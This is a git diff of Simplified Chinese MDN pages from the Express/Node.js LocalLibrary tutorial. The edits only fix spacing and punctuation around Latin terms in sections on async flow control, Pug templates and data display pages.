diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html index c58b73f348b479..0f36b0895741f2 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html @@ -3,7 +3,7 @@ slug: learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page --- -接下来,我们将实作图书馆中所有书本实例 (
+BookInstance
) 的列表页面。这个页面需要包含与每个BookInstance
(链接到其详细信息页面) 关联的书本Book
标题,以及BookInstance
模型中的其他信息,包含每个副本的状态,印记和唯一ID。唯一ID的文字,应该链接到BookInstance
详细信息页面。接下来,我们将实作图书馆中所有书本实例 (
BookInstance
) 的列表页面。这个页面需要包含与每个BookInstance
(链接到其详细信息页面) 关联的书本Book
标题,以及BookInstance
模型中的其他信息,包含每个副本的状态,印记和唯一 ID。唯一 ID 的文字,应该链接到BookInstance
详细信息页面。控制器
@@ -24,9 +24,9 @@控制器
}; -此方法使用模型的
+find()
函数,返回所有BookInstance
对象。然后它将一个调用,以菊花链方式连接到populate()
,附加书本book
字段,这将使用完整的Book
文档,替换每个BookInstance
存储的书本ID。此方法使用模型的
-find()
函数,返回所有BookInstance
对象。然后它将一个调用,以菊花链方式连接到populate()
,附加书本book
字段,这将使用完整的Book
文档,替换每个BookInstance
存储的书本 ID。成功时,传递给查询的回调,会呈现 bookinstance_list (.pug)模板,并将标题
+title
和书籍实例列表bookinstance_list
作为变量传递。成功时,传递给查询的回调,会呈现 bookinstance_list (.pug) 模板,并将标题
title
和书籍实例列表bookinstance_list
作为变量传递。视图
@@ -55,7 +55,7 @@视图
这个視图与其他視图非常相似。它扩展了布局,替换内容區块,显示从控制器传入的标题
-title
,并遍历bookinstance_list
中的所有书籍副本。对于每个副本,我们都会显示它的状态(用颜色编码),如果书本不可用,则显示其预期返回日期。這裡引入了一个新功能 — 我们可以在标签之后使用点符号表示法,來指定一個类別。因此,span.text-success
将被编译为<span class="text-success">
(也可以用 Pug 编写为span(class="text-success")
.它看起來像是?
+它看起來像是?
运行本应用,打开浏览器访问 http://localhost:3000/,然后选择 All book-instances 连结。假如每个东西都设定正确了,你的网站看起来应该像是底下的截图。
@@ -65,5 +65,5 @@下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html index e11724aa56f8cc..a394ea975475f7 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html @@ -3,12 +3,12 @@ slug: learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment --- -
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5 下个部分: 日期格式化与使用 moment
+- 继续教程 5 下个部分:日期格式化与使用 moment
我们模型的日期预设呈现很难看: Tue Dec 06 2016 15:49:58 GMT+1100 (AUS Eastern Daylight Time)。在本节中,我们将展示如何更新上一节中的 書本實例 BookInstance 列表页面,以更友好的格式显示
+due_date
字段:December 6th, 2016。我们模型的日期预设呈现很难看:Tue Dec 06 2016 15:49:58 GMT+1100 (AUS Eastern Daylight Time)。在本节中,我们将展示如何更新上一节中的 書本實例 BookInstance 列表页面,以更友好的格式显示
-due_date
字段:December 6th, 2016。我们将使用的方法,是在我们的
+BookInstance
模型中,创建一个返回格式化日期的虚拟屬性。我们将使用moment 来做实际的格式化,这是一个轻量级JavaScript日期库,用于解析,验证,操作和格式化日期。我们将使用的方法,是在我们的
BookInstance
模型中,创建一个返回格式化日期的虚拟屬性。我们将使用moment 来做实际的格式化,这是一个轻量级 JavaScript 日期库,用于解析,验证,操作和格式化日期。-注意: 我们可以直接在 Pug 模板中,使用 moment 格式化字符串,或者可以在许多其它地方格式化字符串。使用虚拟属性,可以使我们获得格式化的日期,這与我们当前获取
+due_date
的方式完全相同。注意: 我们可以直接在 Pug 模板中,使用 moment 格式化字符串,或者可以在许多其它地方格式化字符串。使用虚拟属性,可以使我们获得格式化的日期,這与我们当前获取
due_date
的方式完全相同。安装 moment
@@ -35,7 +35,7 @@创建虚拟属性
});-注意: 格式化方法可以使用几乎任何模式显示日期。moment文档中,可以找到表示不同日期组件的语法。
+注意: 格式化方法可以使用几乎任何模式显示日期。moment 文档中,可以找到表示不同日期组件的语法。
更新视图
@@ -46,13 +46,13 @@更新视图
//span (Due: #{val.due_back} ) span (Due: #{val.due_back_formatted} ) -这就是本章节的全部了。如果你访问侧边栏的 All book-instances ,你应该会看到所有的归还日期都更吸引人了!
+这就是本章节的全部了。如果你访问侧边栏的 All book-instances,你应该会看到所有的归还日期都更吸引人了!
下一步
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5 下一個部分: 作者列表页面、种类列表页面、与自我挑战
+- 继续教程 5 下一個部分:作者列表页面、种类列表页面、与自我挑战
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html index 717a06455e6de0..efbd381d3f8e66 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html @@ -6,7 +6,7 @@
有些本地图书馆网页的控制器代码,会依赖多重非同步要求的结果,可能会需要以某种特定次序运行,或者以平行方式运行。为了管理流控制,并在我们所有需要用到的信息,都已经可以取用的时候,再绘制网页,我们将使用许多人采用的 node async 模组。
-注意: 在 JavaScript 中有许多其他方法,可以管理异步行为和流控制,包括相对较新的 JavaScript 语言功能,如 Promises。
+注意: 在 JavaScript 中有许多其他方法,可以管理异步行为和流控制,包括相对较新的 JavaScript 语言功能,如 Promises。
Async 有很多有用的方法(请查看文档)。一些最重要的功能是:
@@ -17,11 +17,11 @@- -
async.waterfall()
用于必须序列运行的操作,每个操作取决于前面操作的结果。为什么需要这么做?
+为什么需要这么做?
我们在 Express 中使用的大多数方法,都是异步的 - 您指定要执行的操作,传递回调。该方法立即返回,并在请求的操作完成时,调用回调。按照 Express 中的惯例,回调函数将错误值作为第一个参数传递(或成功时为
-null
),并将函数的结果(如果有的话)作为第二个参数传递。如果控制器只需要执行一个异步操作,来获取呈现页面所需的信息,那么实现很简单 - 我们只需在回调中呈现模板。下面的代码片段,显示了一个函数,该函数呈现模型
+SomeModel
的计数(使用Mongoosecount()
方法):如果控制器只需要执行一个异步操作,来获取呈现页面所需的信息,那么实现很简单 - 我们只需在回调中呈现模板。下面的代码片段,显示了一个函数,该函数呈现模型
SomeModel
的计数(使用 Mongoosecount()
方法):-exports.some_model_count = function(req, res, next) { @@ -34,7 +34,7 @@
为什么需要这
}
但是,如果您需要进行多个异步查询,并且在完成所有操作之前,无法呈现页面,该怎么办?一个单纯的实现可以用 “菊花链” 连接请求,在先前请求的回调中,启动后续请求,并在最终回调中呈现响应。这种方法的问题,是我们的请求必须串行运行,即使并行运行它们可能更有效。这也可能导致复杂的嵌套代码,通常称为回调地狱。
+但是,如果您需要进行多个异步查询,并且在完成所有操作之前,无法呈现页面,该怎么办?一个单纯的实现可以用“菊花链”连接请求,在先前请求的回调中,启动后续请求,并在最终回调中呈现响应。这种方法的问题,是我们的请求必须串行运行,即使并行运行它们可能更有效。这也可能导致复杂的嵌套代码,通常称为回调地狱。
一个更好的解决方案,是并行执行所有请求,然后在所有查询完成后执行单个回调。这是 Async 模块简化的流操作!
@@ -79,7 +79,7 @@序列的非同步 );
-注意: ECMAScript(JavaScript)语言规范指出,对象的枚举顺序是未定义的,因此可能不会按照在所有平台上指定它们的顺序,调用这些函数。如果顺序真的很重要,那么你应该传递一个数组而不是一个对象,如下所示。
+注意: ECMAScript(JavaScript)语言规范指出,对象的枚举顺序是未定义的,因此可能不会按照在所有平台上指定它们的顺序,调用这些函数。如果顺序真的很重要,那么你应该传递一个数组而不是一个对象,如下所示。
async.series([ @@ -100,7 +100,7 @@
序列的非同步
依赖序列的非同步操作
-方法
+async.waterfall()
用于在每个操作依赖于前一个操作的结果时,依次运行多个异步操作。方法
async.waterfall()
用于在每个操作依赖于前一个操作的结果时,依次运行多个异步操作。每个异步函数调用的回调,包含第一个参数的
@@ -135,5 +135,5 @@null
,与后续参数里的结果。该序列中的每个函数,都将前一个回调的结果参数,作为第一个参数,然后是回调函数。下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html index 825474b9ab7f80..f1c664e636476d 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html @@ -3,7 +3,7 @@ slug: learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page --- -
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5下一个部分: 模板入门
+- 继续教程 5 下一个部分:模板入门
种类细节页面,需要利用
+_id
字段值 (自动生成) ,以呈现特定种类实例的信息。此页面应该呈现种类名称,各个种类的所有书本列表(每本书都连结到书本的细节页面)。种类细节页面,需要利用
_id
字段值 (自动生成) ,以呈现特定种类实例的信息。此页面应该呈现种类名称,各个种类的所有书本列表 (每本书都连结到书本的细节页面)。控制器
@@ -45,10 +45,10 @@控制器
该方法使用
-async.parallel()
,并行查询类型名称及其相关联的书本,并在(如果)两个请求成功完成时,回调呈现页面。所需种类记录的 ID ,在 URL 的末尾编码,并根据路由定义(/genre/:id)自动提取。通过请求参数(
+req.params.id
)
在控制器内访问 ID。它在Genre.findById()
中用于获取当前种类。它还用于获取符合当前种类的所有Book
对象,就是在种类字段中具有种类ID的那些Book.find({ 'genre': req.params.id })
。所需种类记录的 ID,在 URL 的末尾编码,并根据路由定义(/genre/:id)自动提取。通过请求参数(
req.params.id
)
在控制器内访问 ID。它在Genre.findById()
中用于获取当前种类。它还用于获取符合当前种类的所有Book
对象,就是在种类字段中具有种类 ID 的那些Book.find({ 'genre': req.params.id })
。-注意: 如果数据库中不存在该类型(即它可能已被删除),则
+findById()
将成功返回,但没有结果。在这种情况下,我们想要显示一个“未找到”页面,因此我们创建一个Error
对象,并将其传递给链中的下一个中间件函数next
。注意: 如果数据库中不存在该类型(即它可能已被删除),则
findById()
将成功返回,但没有结果。在这种情况下,我们想要显示一个“未找到”页面,因此我们创建一个Error
对象,并将其传递给链中的下一个中间件函数next
。if (results.genre==null) { // No results. var err = new Error('Genre not found'); @@ -88,7 +88,7 @@视图
这个视图跟我们其它的模板非常相似。主要的差别在于,我们不使用
-title
传送第一个标题 (虽然它还是用在底层的 layout.pug 模板,设定页面的标题)。它看起來像是?
+它看起來像是?
运行本应用,并打开浏览器访问 http://localhost:3000/。选择 All genres 连结,然后选择其中一个种类 (例如,"Fantasy")。如果每样东西都设定正确了,你的页面看起来应该像底下的截图。
@@ -100,7 +100,7 @@它看起來像是?
Cast to ObjectId failed for value " 59347139895ea23f9430ecbb" at path "_id" for model "Genre"-这是来自 req.params.id 的 mongoose 错误。要解决这个问题,首先需要在 genreController.js 页面上要求mongoose,如下所示:
+这是来自 req.params.id 的 mongoose 错误。要解决这个问题,首先需要在 genreController.js 页面上要求 mongoose,如下所示:
var mongoose = require('mongoose');@@ -116,5 +116,5 @@下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/home_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/home_page/index.html index 8d455ed3bdd0a6..c43fb4556d911e 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/home_page/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/home_page/index.html @@ -14,7 +14,7 @@
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5 下一个部分: 书本细节页面
+- 继续教程 5 下一个部分:书本细节页面
路由
-// GET catalog home page. router.get('/', book_controller.index); //This actually maps to /catalog/ because we import the route with a /catalog prefix
在 /controllers/bookController.js 中,定义回调函数参数(
+book_controller.index
) :在 /controllers/bookController.js 中,定义回调函数参数 (
book_controller.index
) :exports.index = function(req, res, next) { res.send('NOT IMPLEMENTED: Site Home Page'); @@ -25,10 +25,10 @@
路由
控制器
-索引控制器函数需要获取以下有关信息,即数据库中有多少
+Book
,BookInstance
,可用的BookInstance
,Author
和Genre
记录,将这些数据渲染到模板中,以创建HTML页面,然后将其返回到HTTP响应中。索引控制器函数需要获取以下有关信息,即数据库中有多少
Book
,BookInstance
,可用的BookInstance
,Author
和Genre
记录,将这些数据渲染到模板中,以创建 HTML 页面,然后将其返回到 HTTP 响应中。-Note: 我们使用
+count()
方法来获取每个模型的实例数量。这在具有一组可选条件的模型上进行调用,以匹配第一个参数,而回调放在第二个参数(如使用数据库(Mongoose))中讨论的那样,并且还可以返回Query
,然后稍后以回调执行它。当数据库返回计数时,将返回该回调,并将错误值(或空值null
)作为第一个参数,并将记录计数(如果存在错误,则返回null)作为第二个参数。Note: 我们使用
count()
方法来获取每个模型的实例数量。这在具有一组可选条件的模型上进行调用,以匹配第一个参数,而回调放在第二个参数(如使用数据库(Mongoose))中讨论的那样,并且还可以返回Query
,然后稍后以回调执行它。当数据库返回计数时,将返回该回调,并将错误值(或空值null
)作为第一个参数,并将记录计数(如果存在错误,则返回 null)作为第二个参数。-SomeModel.count({ a_model_field: 'match_value' }, function (err, count) { // ... do something if there is an err @@ -44,7 +44,7 @@
控制器
res.send('NOT IMPLEMENTED: Site Home Page'); }用以下代码片段替换上面的所有代码。这要做的第一件事,是导入(
+require()
)所有模型(以粗体突出高亮显示)。我们需要这样做,是因为我们将使用它们来获取记录的计数。然后它会导入异步模块 async 。用以下代码片段替换上面的所有代码。这要做的第一件事,是导入 (
require()
) 所有模型(以粗体突出高亮显示)。我们需要这样做,是因为我们将使用它们来获取记录的计数。然后它会导入异步模块 async 。var Book = require('../models/book'); var Author = require('../models/author'); @@ -78,10 +78,10 @@
控制器
-
async.parallel()
方法传递一个对象,其中包含用于获取每个模型计数的函数。这些函数都是在同一时间开始的。当这些函数全部完成时,最终回调将与结果参数中的计数(或错误)一起被调用。成功时,回调函数调用
+res.render()
,指定名为 'index' 的视图(模板),以及一个对象包含了要插入其中的数据 (这包括我们模型计数的结果对象)。数据以键值对的形式提供,可以使用键在模板中访问。成功时,回调函数调用
res.render()
,指定名为 'index' 的视图(模板),以及一个对象包含了要插入其中的数据(这包括我们模型计数的结果对象)。数据以键值对的形式提供,可以使用键在模板中访问。-注意: 上面的
+async.parallel()
裡的回调函数有点不寻常,因为不管是否出现错误,我们都会渲染页面(通常您可能使用单独的执行路径来处理错误的显示)。注意: 上面的
async.parallel()
裡的回调函数有点不寻常,因为不管是否出现错误,我们都会渲染页面(通常您可能使用单独的执行路径来处理错误的显示)。视图
@@ -113,12 +113,12 @@视图
在动态内容标题下,我们检查从
render()
函数传入的错误变量,是否已定义。如果是这样,我们列出这个错误。如果不是,我们从data
变量中,获取并列出每个模型的副本数量。--注意: 我们没有转义计数值 (i.e. 我们使用
+!{}
语法) ,因为计数值已经被计算过了。如果信息是由终端用户提供的,那么我们就会转义該变量,以用于显示。注意: 我们没有转义计数值 (i.e. 我们使用
!{}
语法) ,因为计数值已经被计算过了。如果信息是由终端用户提供的,那么我们就会转义該变量,以用于显示。它看起来像是?
+它看起来像是?
-此处,我们应该已经创建了呈现index页面,所需要的每样东西。运行本地图书馆应用,并打开浏览器访问 http://localhost:3000/。如果每样东西都设定正确了,你的网站看起来应该像底下的截图。
+此处,我们应该已经创建了呈现 index 页面,所需要的每样东西。运行本地图书馆应用,并打开浏览器访问 http://localhost:3000/。如果每样东西都设定正确了,你的网站看起来应该像底下的截图。
@@ -130,5 +130,5 @@下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/index.html index 72bee7bf3ffa56..e070f7c6d00069 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/index.html @@ -7,18 +7,18 @@
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5 下個部分: 书本列表页面
+- 继续教程 5 下個部分:书本列表页面
{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}-我们现在准备好要新增网页,以显示本地图书馆网站的书本与其它资料。这些网页将包含一个主页 ,显示我们拥有的每个模型的记录数,以及所有模型的清单和详细信息页面。借此,我们将获得从数据库获取记录、以及使用模板的实战经验。
+我们现在准备好要新增网页,以显示本地图书馆网站的书本与其它资料。这些网页将包含一个主页,显示我们拥有的每个模型的记录数,以及所有模型的清单和详细信息页面。借此,我们将获得从数据库获取记录、以及使用模板的实战经验。
- 前置条件: +前置条件: 完成先前教程主题 (包含 Express 教程 Part 4: 路由与控制器)。 - @@ -30,13 +30,13 @@目标: +目标: - 了解如何使用异步模组与Pug 样版语言,以及如何从我们的控制器函数中的URL取得信息。
+了解如何使用异步模组与 Pug 样版语言,以及如何从我们的控制器函数中的 URL 取得信息。
概览
下一步,是为这些显示图书馆信息的网页,提供适当的实现(我们将在后面的文章,聚焦网页表单的实现,像是创建、更新、删除信息)。这包含了更新控制器函数,以利用我们的模型获取记录,并定义模板,为用户显示这些信息。
-我们在一开始,提供概述/入门主题,解释在控制器函数中,如何管理异步操作,以及如何使用Pug编写模板。然后我们将为每一个主要的 "只读" 页面提供实现步骤,并且在使用到任何特别的、新的特性时附上简短的解释说明。
+我们在一开始,提供概述/入门主题,解释在控制器函数中,如何管理异步操作,以及如何使用 Pug 编写模板。然后我们将为每一个主要的 "只读" 页面提供实现步骤,并且在使用到任何特别的、新的特性时附上简短的解释说明。
本教程的最后,你对路由、异步函数、视图、模型如何实际运作,应该有了更好的理解。
本教程的章节
-本教程分为下列章节,讲解了为了显示图书馆网站需求的页面而新增各种特性的过程 。在进入下一个教程之前,你需要阅读并逐一实现下列章节。
+本教程分为下列章节,讲解了为了显示图书馆网站需求的页面而新增各种特性的过程。在进入下一个教程之前,你需要阅读并逐一实现下列章节。
- 使用 async 进行异步流控制
@@ -45,7 +45,7 @@本教程的章节
- 主页
- 书本清单页面
- 书本实例清单页面
-- 日期格式化-使用 moment
+- 日期格式化 - 使用 moment
- 作者清单页面、分类清单页面、与自我挑战
- 分类详情页面
- 书本详情页面
@@ -55,15 +55,15 @@本教程的章节
总结
-我们现在已经为我们的网站,创建了所有 "只读" 的页面: 一个主页,可以显示每一个模组的实例数量,书本的列表与详细信息页面,书本的实例、作者、分类。沿着目前的学习路径,我们学到了许多基本知识,有控制器、在异步操作时管理流控制、使用Pug创建视图模板、使用模型查询数据库、如何从视图传送信息到模板、如何创建并扩展模板。而完成挑战的人,还会学到如何用moment处理日期。
+我们现在已经为我们的网站,创建了所有 "只读" 的页面:一个主页,可以显示每一个模组的实例数量,书本的列表与详细信息页面,书本的实例、作者、分类。沿着目前的学习路径,我们学到了许多基本知识,有控制器、在异步操作时管理流控制、使用 Pug 创建视图模板、使用模型查询数据库、如何从视图传送信息到模板、如何创建并扩展模板。而完成挑战的人,还会学到如何用 moment 处理日期。
-在下一篇文章,我们将依据目前为止学到的知识,创建HTML 表单以及表单管理代码,开始修改储存在网站中的资料。
+在下一篇文章,我们将依据目前为止学到的知识,创建 HTML 表单以及表单管理代码,开始修改储存在网站中的资料。
参见
@@ -77,7 +77,7 @@
- Async 模组 (Async 模组官方文件)
-- 在Express中使用模板引擎 (Express 官方文件)
+- 在 Express 中使用模板引擎 (Express 官方文件)
- Pug (Pug 官方文件)
- Moment (Moment 官方文件)
本教程文章列表
- Express/Node 介绍
- 架设 Node (Express) 开发环境
-- Express 教程: 本地图书馆网站
+- Express 教程:本地图书馆网站
- Express 教程 2: 新建网站骨架
- Express 教程 3: 使用数据库 (Mongoose)
- Express 教程 4: 路由和控制器
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html index 456466976563d9..d4e4d498a335c6 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html @@ -3,7 +3,7 @@ slug: learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template --- -现在我们了解如何使用Pug拓展模板,让我们开始项目,创建一个基础模板。这个模板会有一个侧边栏,连结到本教程中将要创建的各个页面(例如,呈现并创建书本、种类、作者等等),以及一个主要内容区域,我们将在每个页面中进行覆写。
+现在我们了解如何使用 Pug 拓展模板,让我们开始项目,创建一个基础模板。这个模板会有一个侧边栏,连结到本教程中将要创建的各个页面(例如,呈现并创建书本、种类、作者等等),以及一个主要内容区域,我们将在每个页面中进行覆写。
开启 /views/layout.pug ,并以下列代码置换其内容。
@@ -47,11 +47,11 @@ div(class='col-sm-10') block content -此模板使用(并包含)来自 Bootstrap 的 JavaScript 和 CSS ,以改进HTML页面的布局和呈现方式。使用Bootstrap 或其它客户端网页框架,是一种快速的方式,可以创建吸引人的网页,能够良好地适应不同的浏览器尺寸,并且允许我们处理页面的呈现,而不需要纠缠于任何不同尺寸的细节—此处我们只想专注于伺服端代码!
+此模板使用(并包含)来自 Bootstrap 的 JavaScript 和 CSS,以改进 HTML 页面的布局和呈现方式。使用 Bootstrap 或其它客户端网页框架,是一种快速的方式,可以创建吸引人的网页,能够良好地适应不同的浏览器尺寸,并且允许我们处理页面的呈现,而不需要纠缠于任何不同尺寸的细节—此处我们只想专注于伺服端代码!
布局的安排应该相当明白,假如你已经阅读了之前的 模板入门。注意,使用
-block content
当做定位符号,放到页面内容将要放置的地方。基础模板也参考了一个本地 css 档 (style.css) ,此档提供了一些额外的样式。打开 /public/stylesheets/style.css ,并用底下的 CSS 代码,取代它的内容:
+基础模板也参考了一个本地 css 档 (style.css) ,此档提供了一些额外的样式。打开 /public/stylesheets/style.css ,并用底下的 CSS 代码,取代它的内容:
.sidebar-nav { margin-top: 20px; @@ -65,5 +65,5 @@
下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/template_primer/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/template_primer/index.html index e1528fa985cce2..786ca516966f7b 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/template_primer/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/template_primer/index.html @@ -3,16 +3,16 @@ slug: learn/Server-side/Express_Nodejs/Displaying_data/Template_primer translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer --- -
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5 的下個部分: 主页
+- 继续教程 5 的下個部分:主页
模板是一个文字档,定义了一个输出档的结构或者排版,使用定位符号表示,当模板被绘制时,资料将插入到何处(在Express,模板被称为视图)。
+模板是一个文字档,定义了一个输出档的结构或者排版,使用定位符号表示,当模板被绘制时,资料将插入到何处(在 Express,模板被称为视图)。
Express 模板选择
-Express 可以与许多不同的模板渲染引擎一起使用。在本教程中,我们使用Pug(以前称为Jade)作为模板。这是最流行的 Node 模板语言,并且官方将自身描述为 “用于编写HTML,语法干净且空格敏感,受 Haml影响很大”。
+Express 可以与许多不同的模板渲染引擎一起使用。在本教程中,我们使用Pug(以前称为 Jade)作为模板。这是最流行的 Node 模板语言,并且官方将自身描述为“用于编写 HTML,语法干净且空格敏感,受 Haml影响很大”。
-不同的模板语言使用不同的方法,来定义布局和标记数据的占位符 — 一些使用 HTML 来定义布局,而另一些则使用可以编译为 HTML 的不同标记格式。Pug 是第二种类型;它使用 HTML 的表示形式,其中任何行中的第一个单词,通常表示HTML元素,后续行中的缩进,用于表示嵌套在这些元素中的任何内容。结果是一个页面定义直接转换为 HTML,但可以说更简洁,更容易阅读。
+不同的模板语言使用不同的方法,来定义布局和标记数据的占位符 — 一些使用 HTML 来定义布局,而另一些则使用可以编译为 HTML 的不同标记格式。Pug 是第二种类型;它使用 HTML 的表示形式,其中任何行中的第一个单词,通常表示 HTML 元素,后续行中的缩进,用于表示嵌套在这些元素中的任何内容。结果是一个页面定义直接转换为 HTML,但可以说更简洁,更容易阅读。
-注意: 使用 Pug 的缺点,是它对缩进和空格敏感(如果在错误的位置添加额外的空格,可能会得到没什么帮助的错误代码)。但是,一旦您的模板到位,它们就很容易阅读和维护。
+注意: 使用 Pug 的缺点,是它对缩进和空格敏感(如果在错误的位置添加额外的空格,可能会得到没什么帮助的错误代码)。但是,一旦您的模板到位,它们就很容易阅读和维护。
模板组态
@@ -81,7 +81,7 @@模板语法
- -
meta(name='viewport' content='width=device-width initial-scale=1')
所有属性的值都被转义(例如 “
+>
” 等字符转换为 HTML 代码等效项,如“>
”),以防止注入 JavaScript 或跨站点脚本攻击。所有属性的值都被转义(例如“
>
”等字符转换为 HTML 代码等效项,如“>
”),以防止注入 JavaScript 或跨站点脚本攻击。如果标记后跟着等号,则以下文本将被视为 JavaScript 表达式。因此,打个比方,在下面的第一行中,
@@ -94,7 +94,7 @@h1
标记的内容将是标题变量title
(在文件中定义,或从 Express 传递到模板中)。在第二行中,段落内容是与标题变量title
连接的文本字符串。在这两种情况下,默认行为是转义该行。模板语法
p This line has an un-escaped string: !{'<em> is emphasised</em>'}, an escaped string: #{'<em> is not emphasised</em>'}, and escaped variables: #{title}.-提示: 您几乎总是希望转义来自用户的数据(通过
+#{}
语法)。可信任的数据(例如,生成的记录计数等)可以不先转义就显示。提示: 您几乎总是希望转义来自用户的数据(通过
#{}
语法)。可信任的数据(例如,生成的记录计数等)可以不先转义就显示。您可以在行的开头使用管道(“|”)字符来表示“纯文本”。例如,下面显示的附加文本,将显示在与前一个锚点相同的行上,但不会链接。
@@ -109,17 +109,17 @@模板语法
else p A variable named "title" does not exist -以使用
+each-in
或while
语法执行循环/迭代操作。在下面的代码片段中,我们循环遍历数组,以显示变量列表(注意,使用 'li =' 来评估 “val” ,以作为下面的变量。)迭代的值也可以传递给模板作为变量!以使用
each-in
或while
语法执行循环/迭代操作。在下面的代码片段中,我们循环遍历数组,以显示变量列表(注意,使用 'li =' 来评估“val” ,以作为下面的变量。)迭代的值也可以传递给模板作为变量!-ul each val in [1, 2, 3, 4, 5] li= val
语法还支持注释(可以在输出中呈现 - 或者不是 - 可自行选择),支持mixins创建可重用的代码块,case语句和许多其他功能。有关更多详细信息,请参阅Pug文档。
+语法还支持注释(可以在输出中呈现 - 或者不是 - 可自行选择),支持 mixins 创建可重用的代码块,case 语句和许多其他功能。有关更多详细信息,请参阅Pug文档。
扩展模板
-在一个站点中,通常所有页面都有一个共同的结构,包括页首,页脚,导航等的标准HTML标记。比起强迫开发人员在每个页面中复制这个 “样板”的做法,Pug 允许你声明一个基本模板,然后扩展它,只替换每个特定页面不同的地方。
+在一个站点中,通常所有页面都有一个共同的结构,包括页首,页脚,导航等的标准 HTML 标记。比起强迫开发人员在每个页面中复制这个“样板”的做法,Pug 允许你声明一个基本模板,然后扩展它,只替换每个特定页面不同的地方。
例如,在我们的骨架项目中,创建的基本模板 layout.pug,如下所示:
@@ -131,7 +131,7 @@扩展模板
body block content -块标记
+block
用于标记 “可在派生模板中替换的内容部分“(如果未重新定义块,则使用其在基类中的实现)。块标记
block
用于标记“可在派生模板中替换的内容部分“(如果未重新定义块,则使用其在基类中的实现)。默认的 index.pug(为我们的骨架项目所创建),显示了我们如何覆盖基本模板。
@@ -145,5 +145,5 @@extends
标记,标识要使用的基本模板,然后我们使用block section_name
,来指示我们将覆盖的部分的新内容。下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/create_author_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/create_author_form/index.html index ca87df046928b8..9be2e0a680faca 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/forms/create_author_form/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/create_author_form/index.html @@ -7,9 +7,9 @@
- 回到 Express 教程 5: 呈现图书馆数据
-- 继续教程 5下一个部分: 图书馆基本模板
+- 继续教程 5 下一个部分:图书馆基本模板
导入验证和清理方法
-为了在种类表单使用express验证器,我们必须用 require 导入我们想用的函式。
+为了在种类表单使用 express 验证器,我们必须用 require 导入我们想用的函式。
-打开 /controllers/authorController.js,并在档案最上方加入底下几行:
+打开 /controllers/authorController.js,并在档案最上方加入底下几行:
@@ -78,7 +78,7 @@const { body,validationResult } = require('express-validator/check'); const { sanitizeBody } = require('express-validator/filter');
控制器—post 路
此代码的结构和行为,几乎与创建
Genre
对象完全相同。首先,我们验证并清理数据。如果数据无效,那么我们将重新显示表单,以及用户最初输入的数据,和错误消息列表。如果数据有效,那么我们保存新的作者记录,并将用户重定向到作者详细信息页面。-注意:与
+Genre
post处理程序不同,我们不会在保存之前,检查Author
对象是否已存在。可以说,我们应该这样做,尽管现在我们可以有多个具有相同名称的作者。注意:与
Genre
post 处理程序不同,我们不会在保存之前,检查Author
